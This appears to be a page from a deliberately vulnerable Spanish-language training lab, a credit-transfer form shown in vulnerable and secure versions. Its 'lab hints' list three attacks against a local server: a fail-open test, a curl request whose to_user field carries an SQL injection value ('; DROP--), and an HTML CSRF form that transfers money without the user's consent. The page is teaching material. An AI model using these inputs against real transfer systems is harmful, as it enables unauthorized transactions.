Transferir Creditos
Logueado como: alice
Nueva Transferencia
Balance: $250.000
Sin proteccion CSRF — Un sitio malicioso podria enviar este form.
Con token CSRF — Solo acepta requests de este formulario.
Token: 4bf5b586580abdeb...
Historial de transferencias
| ID | De | Para | Monto | Estado | Fecha |
|---|---|---|---|---|---|
#1 |
admin | alice | $50.000 | completada | 12/04 16:00 |
#2 |
alice | bob | $25.000 | completada | 12/04 16:00 |
Pistas del lab
1. Failing Open:
Selecciona "Usuario inexistente (ID: 999)" y envia con el form vulnerable. Respondera "success" aunque el usuario no exista.
2. Stack Trace:
curl -X POST \
localhost:8082/a10_pagos/transferir.php \
-d "to_user='; DROP--&amount=100"
3. CSRF:
Crea un HTML con este form y abrilo:
<form action="http://localhost:8082
/a10_pagos/transferir.php"
method="POST">
<input name="to_user" value="1">
<input name="amount" value="100">
<button>Click</button>
</form>
Si tenes sesion activa, transfiere sin tu consentimiento.
Vulnerable
El formulario envia a:
transferir.php
Failing open + stack trace
Seguro
Probar transferir_secure.php
Manejo correcto de excepciones